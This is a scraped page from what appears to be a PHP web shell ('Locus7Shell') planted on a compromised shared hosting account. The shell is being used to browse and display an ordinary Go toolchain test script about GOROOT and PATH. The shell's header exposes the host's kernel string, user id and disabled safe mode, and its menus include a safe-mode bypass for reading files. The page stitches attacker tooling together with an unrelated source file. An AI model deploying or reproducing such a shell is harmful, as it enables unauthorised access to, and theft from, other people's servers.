![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/src/cmd/go/testdata/script/ drwxr-xr-x |
Viewing file: Select action/file-type: # https://go.dev/issue/51473: to avoid the need for tests to rely on # runtime.GOROOT, 'go test' should run the test with its own GOROOT/bin # at the beginning of $PATH. [short] skip [!GOOS:plan9] env PATH= [GOOS:plan9] env path= go test . [!GOOS:plan9] env PATH=$WORK${/}bin [GOOS:plan9] env path=$WORK${/}bin go test . -- go.mod -- module example go 1.19 -- example_test.go -- package example import ( "os" "os/exec" "path/filepath" "testing" ) func TestGoCommandExists(t *testing.T) { got, err := exec.LookPath("go") if err != nil { t.Fatal(err) } want := filepath.Join(os.Getenv("GOROOT"), "bin", "go" + os.Getenv("GOEXE")) if got != want { t.Fatalf(`exec.LookPath("go") = %q; want %q`, got, want) } } -- $WORK/bin/README.txt -- This directory contains no executables. |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0083 ]-- |